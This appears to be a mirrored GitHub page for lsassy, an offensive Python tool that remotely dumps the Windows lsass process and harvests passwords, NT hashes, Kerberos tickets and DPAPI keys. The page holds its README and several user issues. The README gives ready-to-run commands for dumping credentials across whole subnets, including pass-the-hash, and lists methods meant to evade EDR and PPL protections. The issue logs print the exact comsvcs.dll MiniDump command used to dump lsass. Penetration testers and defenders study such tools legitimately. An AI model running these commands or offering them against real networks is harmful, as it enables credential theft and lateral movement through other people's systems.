GithubHelp home page GithubHelp logo

login-securite / lsassy Goto Github PK

View Code? Open in Web Editor NEW
1.9K 51.0 241.0 17.31 MB

Extract credentials from lsass remotely

Home Page: https://en.hackndo.com/remote-lsass-dump-passwords/

License: MIT License

Makefile 0.03% Python 99.87% Smarty 0.11%

lsassy's Introduction

lsassy

PyPI version PyPI Statistics Tests Twitter

Python tool to remotely extract credentials on a set of hosts. This blog post explains how it works.

This tool uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.

Chapters Description
Warning Before using this tool, read this
Installation Lsassy installation
Basic usage Basic lsassy usage
Advanced usage Advanced lsassy usage with params explaination
Add dump method How to add a custom lsass dump method
Acknowledgments Kudos to these people and tools
Official Discord Official Discord server

Warning

Although I have made every effort to make the tool stable, traces may be left if errors occur.

This tool can either leave some lsass dumps if it failed to delete it (even though it tries hard to do so) or leave a scheduled task running if it fails to delete it. This shouldn't happen, but it might. Now, you know, use it with caution.

Installation

lsassy works with python >= 3.7

pip (Recommended)

python3 -m pip install lsassy

From source for development

python3 setup.py install

Basic Usage

lsassy works out of the box on multiple targets (IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets)

lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets

By default, lsassy will try to dump lsass remotely using comsvcs.dll method, either via WMI or via a remote scheduled task.

Kerberos

lsassy can authenticate with Kerberos. It requires a valid TGT in KRB5CCNAME environment variable. See advanced usage for more details.

lsassy -k targets

Examples

 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
 lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10

Advanced Usage

Different lsass dumping methods are implemented in lsassy, and some option are provided to give control to the user on how the tool will proceed.

Internal working

lsassy is divided in modules

                   +-----------+
                   |   Writer  |
                   +-----+-----+
                         |
                         |
 +----------+      +-----+-----+    +---------+
 |  Parser  |------|   Core    |----| Session |
 +----------+      +-----+-----+    +---------+
                         |
                         |
                   +-----------+
                   |    Dump   |-+
                   |  Methods  | |-+    +----------+
                   +-----+-----+ | |----|   File   |
                     +-----------+ |    +----------+
                      +------------+
                         |
                         |
                   +-----------+
                   |    Exec   |-+
                   |  Methods  | |-+
                   +-----+-----+ | |
                     +-----------+ |
                      +------------+

Core module

This module is the orchestrator. It creates lsassy class with provided arguments and options, and then calls the different modules to retrieve credentials.

Logger module

This module is used for logging purpose.

File module

This is a layer built over Impacket to behave like a python built-in file object. It overrides methods like open, read, seek, or close.

Dumper module

This module is where all the dumping logic happens. Depending on the method used, it will execute code on remote host to dump lsass using provided method.

Parser module

This module relies on pypykatz and uses lsassy file module to remotely parse lsass dump

Writer module

This module handles the output part, either to the screen in different formats and/or write results to a file

Dumping methods

This tool can dump lsass in different ways.

Dumping methods (-m or --method)

  • comsvcs
  • comsvcs_stealth
  • dllinject
  • procdump
  • procdump_embedded
  • dumpert
  • dumpertdll
  • ppldump
  • ppldump_embedded
  • mirrordump
  • mirrordump_embedded
  • wer
  • EDRSandBlast
  • nanodump
  • rdrleakdiag
  • silentprocessexit
  • sqldumper

comsvcs method

This method only uses built-in Windows files to extract remote credentials. It uses minidump function from comsvcs.dll to dump lsass process.

Procdump method

This method uploads procdump.exe from SysInternals to dump lsass process.

Dumpert method

This method uploads dumpert.exe or dumpert.dll from outflanknl to dump lsass process using syscalls.

Ppldump

This method uploads ppldump.exe from itm4n to dump lsass process and bypass PPL.

Mirrordump

This method uploads Mirrordump.exe from Ccob to dump lsass using already opened handle to lsass via an LSA plugin.

WER

This method uses WER technique used in PowerSploit.

Options

For some dumping method, options are required, like procdump or dumpert path. These options can be set using --options or -O with a comma separated list of options in a key=value way.

... --options key=value,foo=bar

For example:

lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump    -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert     -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll  -O dumpertdll_path=/opt/dumpert.dll

Parse only

You can choose to parse an already dumped lsass process by providing --parse-only switch, alongside with --dump-path and --dump-name parameters.

Note that if you choose this method, the remote lsass dump won't be deleted.

For example:

lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"

Keep dump

If you don't want the dump to be automatically deleted after lsassy run, you can use --keep-dump.

lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump

Kerberos tickets harvesting

Kerberos tickets will be extracted and saved to $HOME/.config/lsassy/tickets in kirbi format. You can specify output directory using -K [directory] or --kerberos-dir [directory] parameter. If this directory doesn't exist, the tool will attempt to create it before outputing tickets.

lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'

DPAPI Master Keys harvesting

DPAPI Master Keys will be extracted and saved to $HOME/.config/lsassy/masterkeys.txt in {GUID}:SHA1 format. You can specify masterkey file path using -M [path] or --masterkeys-file [path] parameter. If the file path doesn't exist, the tool will attempt to create it before creating the file.

lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'

Authentication methods

There are three different ways to authenticate against remote targets using lsassy. The only requirement is that the user needs to have local administration rights on the remote targets.

Cleartext credentials

First and most obvious one is by using clear text credentials. It can either be a local or domain user.

## Local user
lsassy -u pixis -p P4ssw0rd server01.hackn.lab

## Domain user
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab

Pass-the-hash

It is also possible to authenticate using user's NT hash. You can either provide LM:NT or only NT version.

lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee

## Or

lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab

Kerberos

You can also authenticate using Kerberos. For this to work, you will need to have a valid ticket saved on disk, and ticket's path needs to be provided in KRB5CCNAME environment variable. For testing purpose, this can be achieved using impacket getTGT.py tool.

getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab

This command will request a TGT and save it in jsnow.ccache file.

In order for lsassy to know which ticket to use, you'll need to explicitly set the ticket's path in KRB5CCNAME environment variable.

export KRB5CCNAME="/home/pixis/jsnow.ccache"

When it's correctly configured, you should be able to use that ticket for authentication using -k parameter. Since you're using this ticket, you don't need to provide other authentication information anymore.

lsassy -k server01.hackn.lab

Note that for this to work, you will need a valid DNS configuration, either dynamic with a valid DNS server, or static using hosts file. Moreover, you should always use FQDN when generating tickets and using lsassy, i.e. use server01.hackn.lab instead of server01.

Output

Screen format

lsassy can output credentials in different formats using --format or -f flag

Pretty

Default format, nice and clean credentials are displayed with golden colors. In credz we trust.

lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Json

Displays result in json format. Can be useful when called from a script

lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Grep

Grepable output that can be useful in one-liners

lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
None

Doesn't display the result. Useful when using --outfile

lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none

Save in a file

Saves the result in a grepable format in provided file (--outfile or -o)

lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt

Results filtering

If you want to only get users credentials, filtering out computers credentials, you can use --users flag

lsassy [-d domain] -u pixis -p P4ssw0rd targets --users

If you don't want tickets to be exported, you can use --no-tickets flag

lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets

If you don't want masterkeys to be exported, you can use --no-masterkeys flag

lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys

Thread management

You can decide how many thread you want to use [1-256] using --threads parameter.

lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32

Add dump method

There is a dummy.py.tpl file in dumpmethod directory. This file contains basic structure to create a new dump method functionnality.

get_commands

This method is mandatory as it is the method that will be used to execute code on the remote host in order to dump lsass in some way. It must return a dictionnary with two items cmd and pwsh.

cmd command is a command understood by cmd.exe utility pwsh command is a command understood by powershell (most of the time, cmd command is also valid in powershell)

return {
    "cmd": cmd_command,
    "pwsh": pwsh_command
}

Dependencies

There is a Dependency class that can be used to easily upload files needed for dump method, like procdump.exe from sysinternals. Two methods can be used :

  • prepare_dependencies to check if all parameters were provided by the user to locally find the file on user's disk and upload it, and then actually upload the file
  • clean_dependencies to try and remove uploaded files

(Optionnal) prepare

This method will be called before executing commands provided by get_commands. It can be used to upload files or check stuff.

(Optionnal) clean

This method will be called after executing commands provided by get_commands. It can be used to delete uploaded files or clean stuff.

Example

Here is procdump example with some comments

from lsassy.dumpmethod import IDumpMethod, Dependency


class DumpMethod(IDumpMethod):
    """
    If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
    and uncomment 'dump_name' to provide expected dumpfile name on remote system.
    """
    custom_dump_name_support = True  # Default: True
    # dump_name              = ""    # Default: Random dumpfile name

    """
    If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
    and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
    If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
    In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
    """
    custom_dump_path_support = True  # Default: True
    # dump_share             = ""    # Default: "C$"
    # dump_path              = ""    # Default: "\\Windows\\Temp\\"
    dump_ext                 = "dmp"

    def __init__(self, session, timeout):
        """
        __init__ is overloaded to create some instance variables
        """
        super().__init__(session, timeout)
        
        """
        This module requires procdump.exe to be uploaded on the remote server before being executed.
        So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
        and second argument is default executable name on local user's disk.
        """
        self.procdump = Dependency("procdump", "procdump.exe")

    def prepare(self, options):
        """
        Prepare method is overloaded so that we are able to
        - check if mandatory parameters are provided
        - upload procdump on the remote host.
        All this can be done using prepare_dependencies method from our Dependency object
        """
        return self.prepare_dependencies(options, [self.procdump])

    def clean(self):
        """
        Clean method is overloaded so that we are able to delete our dependency if it was uploaded
        The clean_dependencies method will do this for us.
        """
        self.clean_dependencies([self.procdump])

    def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
        """
        get_commands method is overloaded as it is mandatory.
        Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
        The get_remote_path method of our Dependency object is used to get the correct remote path 
        of procdump on our target.
        """
        
        cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
            self.procdump.get_remote_path(),
            self.dump_path, self.dump_name
        )
        pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
            self.procdump.get_remote_path(),
            self.dump_path, self.dump_name
        )
        return {
            "cmd": cmd_command,
            "pwsh": pwsh_command
        }

You can check dummy class for more comments and/or informations.

Acknowledgments

image

Official Discord

https://discord.hackndo.com

Known bugs

  • Compiled versions don't include table_output because of some weird error with rich library

Star History

Star History Chart

lsassy's People

Contributors

hackndo avatar marshall-hallenbeck avatar blurbdust avatar snovvcrash avatar viaccoz avatar zblurx avatar laxa avatar philippmao avatar mpgn avatar noraj avatar 3gstudent avatar d-xiii avatar itppa avatar themaks avatar remiescourrou avatar blackndoor avatar exploide avatar n3rada avatar

Stargazers

Hyun Yi avatar Adrian Bollerslev avatar Login Securite avatar Vlad avatar  avatar  avatar Saif avatar 村里修摩托最靓的仔 avatar  avatar  avatar Bilal Retiat avatar Mark Sowell avatar Eran avatar RLealz avatar Warren Baker avatar  avatar  avatar Icefrog2000 avatar zero idea avatar MK avatar ThesYu avatar  avatar  avatar Vladislav Sorokin avatar Kevin Dicks avatar m@rco avatar cocoonk1d avatar An_ avatar jj551 avatar  avatar  avatar Rafael Baldasso avatar MADhatter4² avatar Julio C. Espinosa avatar TD Sbs avatar Fawad Khan avatar Abhi avatar HrDivinemonk avatar afsh4ck avatar Maxim Marshak avatar BitWalls-ops avatar Jici avatar  avatar  avatar  avatar Mahesh Parmar avatar  avatar  avatar  avatar  avatar  avatar  avatar farhan nadim pial avatar  avatar  avatar Michael Nashat avatar  avatar  avatar Stranger avatar 疏狂 avatar  avatar Malik Fomin avatar  avatar  avatar  avatar Austin Coontz avatar Jules avatar Maxime Wets avatar  avatar  avatar Ivan Mai avatar 哇哈哈 avatar Jonathan shimon avatar Chris Germann avatar not a doctor avatar  avatar Sludvix avatar  avatar  avatar  avatar  avatar Aditya Hebballe  avatar John Dansak avatar  avatar wangxiaomo avatar TimeLess613 avatar 0x539 avatar nullfuzz avatar Matteo Giordano avatar killdayu avatar tx1ee avatar Mozhar Alhosni avatar Feel Lonely avatar Joren avatar Adel avatar hirak0 avatar  avatar  avatar  avatar Sorrachat avatar

Watchers

 avatar evandrix avatar James Cloos avatar Andre Gironda avatar  avatar Mark Conover avatar  avatar KING SABRI avatar Radu Alexandru Popescu avatar  avatar  avatar  avatar  avatar Moonesh avatar ad0nis avatar @64 avatar iefuzzer avatar Cliff avatar Alex Fierascu avatar Keybo@rd007 avatar  avatar  avatar 0x80 avatar  avatar unixfreaxjp avatar  avatar  avatar  avatar Musa avatar hidd3ncod3s avatar shi han wang avatar Martin Boller avatar Brother avatar 冯文华 avatar Amarjit Labhuram avatar drolsec avatar  avatar  avatar  avatar reloc2 avatar Never Mind avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar G3G4X5X6 avatar BytestalkerH avatar  avatar

lsassy's Issues

Working with `debug` but not without it.

I just got a strange behavior here. I have setup one pivot and I am running this command from my attacker machine:

lsassy -d 'final.com' -u 'Administrator' -H '8388d0760....' 172.16.207.187 -vv -debug
[*] MainThread lsassy v 3.1.9
[*] [Core] Targets: ['172.16.207.187']
[*] [Core] Created target: 1: 172.16.207.187
[*] 172.16.207.187 smb_session: <impacket.smbconnection.SMBConnection object at 0x7fe16afd9650>
[x] 172.16.207.187 Connection error
Traceback (most recent call last):
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/impacket/smbconnection.py", line 278, in login
    return self._SMBConnection.login(user, password, domain, lmhash, nthash)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/impacket/smb3.py", line 1006, in login
    if packet.isValidAnswer(STATUS_SUCCESS):
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/impacket/smb3structs.py", line 458, in isValidAnswer
    raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/lsassy/session.py", line 53, in get_session
    self.smb_session.login(username, password, domain, lmhash, nthash)
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/impacket/smbconnection.py", line 280, in login
    raise SessionError(e.get_error_code(), e.get_error_packet())
impacket.smbconnection.SessionError: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[!] 172.16.207.187 Couldn't connect to remote host
[*] 172.16.207.187 Cleaning...
[*] 172.16.207.187 dumper: None
[*] 172.16.207.187 file: None
[*] 172.16.207.187 session: <lsassy.session.Session object at 0x7fe16a3f5310>
[*] 172.16.207.187 Potential issue while cleaning dumper: 'NoneType' object has no attribute 'clean'
[*] 172.16.207.187 Potential issue while closing file: 'NoneType' object has no attribute 'close'
[*] 172.16.207.187 Couldn't delete lsass dump using file. Trying dump object...
[*] 172.16.207.187 Potential issue while deleting lsass dump: 'NoneType' object has no attribute 'dump_path'
[*] 172.16.207.187 Potential issue while closing SMB session: 'NoneType' object has no attribute 'close'

But with -debug it works...

lsassy -d 'final.com' -u 'Administrator' -H '8388d0760....' 172.16.207.187 -vv -debug
[*] MainThread lsassy v 3.1.9
[*] [Core] Targets: ['172.16.207.187']
[*] [Core] Created target: 1: 172.16.207.187
[*] 172.16.207.187 smb_session: <impacket.smbconnection.SMBConnection object at 0x7f2d69e36f10>
[*] 172.16.207.187 SMB session opened
[*] 172.16.207.187 Connecting to C$
[*] 172.16.207.187 Authentication successful
[*] 172.16.207.187 Dumping via lsassy.dumpmethod.comsvcs
[*] 172.16.207.187 Exec method: <lsassy.exec.smb.Exec object at 0x7f2d69c83710>
[*] 172.16.207.187 Exec method: <lsassy.exec.wmi.Exec object at 0x7f2d69c3cbd0>
[*] 172.16.207.187 Exec method: <lsassy.exec.task.Exec object at 0x7f2d46ea8b90>
[*] 172.16.207.187 Exec method: <lsassy.exec.mmc.Exec object at 0x7f2d46ee6c10>
[*] 172.16.207.187 Exec Methods: {'smb': <lsassy.exec.smb.Exec object at 0x7f2d69c83710>, 'wmi': <lsassy.exec.wmi.Exec object at 0x7f2d69c3cbd0>, 'task': <lsassy.exec.task.Exec object at 0x7f2d46ea8b90>, 'mmc': <lsassy.exec.mmc.Exec object at 0x7f2d46ee6c10>}
[*] 172.16.207.187 Trying smb method
[*] 172.16.207.187 Building command - Exec Method has seDebugPrivilege: True | seDebugPrivilege needed: True | Powershell allowed: True | Copy executor: False
[*] 172.16.207.187 ['for /f "tokens=1,2 delims= " ^%A in (\'"tasklist /fi "Imagename eq lsass.exe" | find "lsass""\') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, #+0000^24 ^%B \\Windows\\Temp\\lZ2tWb35F.vsv full']
[*] 172.16.207.187 Transformed command: CMd.eXe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\lZ2tWb35F.vsv full
[*] 172.16.207.187 Executing using lsassy.exec.smb
[*] 172.16.207.187 StringBinding ncacn_np:172.16.207.187[\pipe\svcctl]
[*] 172.16.207.187 Service JIjOseGv created
[*] 172.16.207.187 Service JIjOseGv deleted
[*] 172.16.207.187 /Windows/Temp//lZ2tWb35F.vsv handle acquired
[*] 172.16.207.187 Lsass dumped in C:\Windows\Temp\lZ2tWb35F.vsv (47628591 Bytes)
[*] 172.16.207.187 File C$/Windows/Temp//lZ2tWb35F.vsv deleted
[*] 172.16.207.187 Lsass dump deleted

I've cut off the end so as not to reveal the hashes. I don't know if you'll be able to do anything about this one @Hackndo, but I'd love to get your take on it.

lsassy's CME module casts STATUS_LOGON_FAILURE with right credentials

Describe the bug
Lsassy's cme module throw a STATUS_LOGON_FAILURE with right credentials.

$ sudo cme --verbose smb  10.10.10.161 -d htb.local -u Administrator -H 4212345nope42not42here0012345678 -M lsassy
DEBUG Passed args:
{'clear_obfscripts': False,
 'content': False,
 'continue_on_success': False,
 'cred_id': [],
 'darrell': False,
 'depth': None,
 'disks': False,
 'domain': 'htb.local',
 'exclude_dirs': '',
 'exec_method': None,
 'execute': None,
 'fail_limit': None,
 'force_ps32': False,
 'gen_relay_list': None,
 'gfail_limit': None,
 'groups': None,
 'hash': ['4212345nope42not42here0012345678'],
 'jitter': None,
 'list_modules': False,
 'local_auth': False,
 'local_groups': None,
 'loggedon_users': False,
 'lsa': False,
 'module': 'lsassy',
 'module_options': [],
 'no_output': False,
 'ntds': None,
 'obfs': False,
 'only_files': False,
 'pass_pol': False,
 'password': [],
 'pattern': None,
 'port': 445,
 'protocol': 'smb',
 'ps_execute': None,
 'regex': None,
 'rid_brute': None,
 'sam': False,
 'server': 'https',
 'server_host': '0.0.0.0',
 'server_port': None,
 'sessions': False,
 'share': 'C$',
 'shares': False,
 'show_module_options': False,
 'spider': None,
 'spider_folder': '.',
 'target': ['10.10.10.161'],
 'threads': 100,
 'timeout': None,
 'ufail_limit': None,
 'username': ['Administrator'],
 'users': None,
 'verbose': True,
 'wmi': None,
 'wmi_namespace': 'root\\cimv2'}
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
DEBUG add_credential(credtype=hash, domain=HTB, username=Administrator, password=4212345nope42not42here0012345678, groupid=None, pillaged_from=None) => None
SMB         10.10.10.161    445    FOREST           [+] htb.local\Administrator 4212345nope42not42here0012345678 (Pwn3d!)
LSASSY      10.10.10.161    445    FOREST           [*] Parsing lsass with lsassy
DEBUG Lsassy command : lsassy --format json -d 'htb.local' -u 'Administrator' -p 'None' -H ':4212345nope42not42here0012345678' 10.10.10.161 -vv 
DEBUG ----- lsassy output -----
DEBUG [*] [10.10.10.161] Authenticating against 10.10.10.161
DEBUG [*] [10.10.10.161] Provided credentials : htb.local\Administrator:None
DEBUG [*] [10.10.10.161] Closing Impacket connection
DEBUG [*] [10.10.10.161] Cleaning complete
DEBUG [*] [10.10.10.161] Error : SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
DEBUG 
DEBUG -----   end output  -----
LSASSY      10.10.10.161    445    FOREST           [-] Error while executing lsassy, try using CrackMapExec with --verbose to get more details
DEBUG ----- lsassy error [14] -----
DEBUG [X] [10.10.10.161] Authentication error
DEBUG 
DEBUG -----   end error  -----

Expected behavior
Using lsassy's directly with the right parameters correctly dumps the credentials:

$ lsassy --format json -d 'htb.local' -u 'Administrator'  -H ':4212345nope42not42here0012345678' 10.10.10.161 -vv
[*] [10.10.10.161] Authenticating against 10.10.10.161
[*] [10.10.10.161] AuthenticatedDEBUG Lsassy command : lsassy --format json -d 'htb.local' -u 'Administrator' -p 'None' -H ':4212345nope42not42here0012345678' 10.10.10.161 -vv 
[*] [10.10.10.161] Trying "dll" method
[*] [10.10.10.161] Commands : 
[*] [10.10.10.161] powershell.exe -NoP -C "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\nT9mFwAA.dmp full;Wait-Process -Id (Get-Process rundll32).id"
[*] [10.10.10.161] Trying exec method : "wmi"
[*] [10.10.10.161] Trying to authenticate using : htb.local\Administrator:None
[*] [10.10.10.161] Exec method "wmi" success !
[*] [10.10.10.161] Opening file /Windows/Temp/nT9mFwAA.dmp
[*] [10.10.10.161] File /Windows/Temp/nT9mFwAA.dmp opened
[*] [10.10.10.161] Process lsass.exe has been dumped
[*] [10.10.10.161] Closing Impacket file "/Windows/Temp/nT9mFwAA.dmp"
[*] [10.10.10.161] Process lsass.exe has been parsed
{"htb.local": {"svc-alfresco": [{"password": null, "lmhash": null, "nthash": "4212345nope42nor42here0012345678"}, {"password": "YouWillNotGetItHere", "lmhash": null, "nthash": null}]}}[*] [10.10.10.161] Closing Impacket file "/Windows/Temp/nT9mFwAA.dmp"
[*] [10.10.10.161] File \Windows\Temp\nT9mFwAA.dmp deleted
[*] [10.10.10.161] Closing Impacket connection
[*] [10.10.10.161] Cleaning complete

Additional context
The problem comes from the fact that the parameter -p 'None' is passed to lsassy from cme, which thinks it's the password to use:
DEBUG Lsassy command : lsassy --format json -d 'htb.local' -u 'Administrator' -p 'None'-H ':4212345nope42not42here0012345678' 10.10.10.161 -vv

Too Many Open Files

Describe the bug
When executing lsassy on more than 256 IP, there are too many forks. Need to paginate the execution.

Traceback (most recent call last):
  File "/home/wilfried/.local/bin/lsassy", line 10, in <module>
    sys.exit(run())
  File "/home/wilfried/.local/lib/python3.7/site-packages/lsassy/core.py", line 226, in run
    job.start()
  File "/usr/lib/python3.7/multiprocessing/process.py", line 112, in start
    self._popen = self._Popen(self)
  File "/usr/lib/python3.7/multiprocessing/context.py", line 223, in _Popen
    return _default_context.get_context().Process._Popen(process_obj)
  File "/usr/lib/python3.7/multiprocessing/context.py", line 277, in _Popen
    return Popen(process_obj)
  File "/usr/lib/python3.7/multiprocessing/popen_fork.py", line 20, in __init__
    self._launch(process_obj)
  File "/usr/lib/python3.7/multiprocessing/popen_fork.py", line 69, in _launch
    parent_r, child_w = os.pipe()
OSError: [Errno 24] Too many open files

Scheduled Task

Hi,

Is there a reason the scheduled task is scheduled to run every day at the same hour? From my understanding, it should run only once and on demand. In case the scheduled task fails to get deleted, it will dump lsass for eternity.

File: https://github.com/Hackndo/lsassy/blob/master/lsassy/exec/taskexe.py

Code:
`

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <Triggers> <CalendarTrigger> <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary> <Enabled>true</Enabled> <ScheduleByDay> <**_DaysInterval>1</DaysInterval_**>

`

Thanks :)

packaging issue: deployment of tests

The issue is that the setup.py is deploying the tests folder under the root python path and not under this package one.

So it's end up under /usr/lib/python3.11/site-packages/tests rather than /usr/lib/python3.11/site-packages/lsassy /tests and so conflicts with other packages having the same issue.

Anyway usually test are not shipped in a release package so the easiest would just to remove them. Else they should be deployed in the children directory.

It's explained in ArchLinux packaging guidelines for Python: https://wiki.archlinux.org/title/Python_package_guidelines#Test_directory_in_site-package

Add WinRM support

Hello, most way to get code execution are nowadays flagged by EDR/AV. But, winRm is way more legitimate and could by another way of executing code remotely. Could this be added as a feature?

Thanks in advance,

Best regards

Offline usage of lsassy

Merci for the really great tool that you have developed and your detailed articles.

I have some network issues between my attack VM and the victim server. I've seen that the dmp has been successfuly created. I was able to get it through other means. Do I have the possibilities to use lsassy to extract credential from the offline dump, like we can do with mimikatz ?

Thank you.

$ in password

Seem to be an issue when you have a $ in the password.
Command
cme --verbose smb 192.168.100.100 -u 'Admin' -p 'Password$' -d oliverhume -M lsassy

Error Message the @ has gone missing.

Domain/Admin:Password192.168.100.100:/C$/Windows/Temp//tmp.dmp is not valid. Expected format : [domain/]username[:password]@host:/share_name/path/to/file

Impacket RPC Access Denied

Hi! Thanks for this :)

Having errors on the 2 methods in your tool, probably something related to the environment (using Detectionlab).
Tried to disable RPC restriction, disabled the FW:
https://help.pdq.com/hc/en-us/articles/220533007
https://support.microsoft.com/en-ae/help/895085/you-receive-an-access-is-denied-error-message-on-a-windows-server-2003
https://support.microsoft.com/en-ca/help/2623670/access-denied-or-other-errors-when-you-access-or-work-with-files-and-f
Nothing so far. Any idea?

Again, Thanks!

Rundll32:
root@kali:~/Desktop# lsassy windomain.local/vagrant:[email protected]
[+] Authenticated
[*] Using DLL Method (default)
Traceback (most recent call last):
File "/usr/local/bin/lsassy", line 10, in
sys.exit(run())
File "/usr/local/lib/python3.7/dist-packages/lsassy/main.py", line 79, in run
file_path = dumper.dump("dll")
File "/usr/local/lib/python3.7/dist-packages/lsassy/dumper.py", line 27, in dump
self.dlldump()
File "/usr/local/lib/python3.7/dist-packages/lsassy/dumper.py", line 51, in dlldump
TASK_EXEC(self._conn, self._log).execute(command)
File "/usr/local/lib/python3.7/dist-packages/lsassy/taskexe.py", line 28, in execute
tsch.hSchRpcRegisterTask(dce, '\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/tsch.py", line 637, in hSchRpcRegisterTask
return dce.request(request)
File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 856, in request
answer = self.recv()
File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 1320, in recv
raise DCERPCException(rpc_status_codes[status_code])
impacket.dcerpc.v5.rpcrt.DCERPCException: rpc_s_access_denied

Procdump:
oot@kali:~/Desktop# lsassy -p procdump64.exe windomain.local/vagrant:[email protected]
[+] Authenticated
[*] Using Procdump Method
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 812, in putFile
return self._SMBConnection.stor_file(shareName, pathName, callback)
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1565, in storeFile
treeId = self.connectTree(shareName)
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 858, in connectTree
if packet.isValidAnswer(STATUS_SUCCESS):
File "/usr/lib/python3/dist-packages/impacket/smb3structs.py", line 437, in isValidAnswer
raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/local/lib/python3.7/dist-packages/lsassy/impacketconnection.py", line 132, in putFile
self.conn.putFile(share_name, path_name, callback)
File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 816, in putFile
raise SessionError(e.get_error_code(), e.get_error_packet())
impacket.smbconnection.SessionError: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/local/bin/lsassy", line 10, in
sys.exit(run())
File "/usr/local/lib/python3.7/dist-packages/lsassy/main.py", line 77, in run
file_path = dumper.dump("procdump")
File "/usr/local/lib/python3.7/dist-packages/lsassy/dumper.py", line 29, in dump
self.procdump(exec_methods)
File "/usr/local/lib/python3.7/dist-packages/lsassy/dumper.py", line 67, in procdump
self._conn.putFile(self._share, self._tmp_dir + self._procdump, procdump.read)
File "/usr/local/lib/python3.7/dist-packages/lsassy/impacketconnection.py", line 135, in putFile
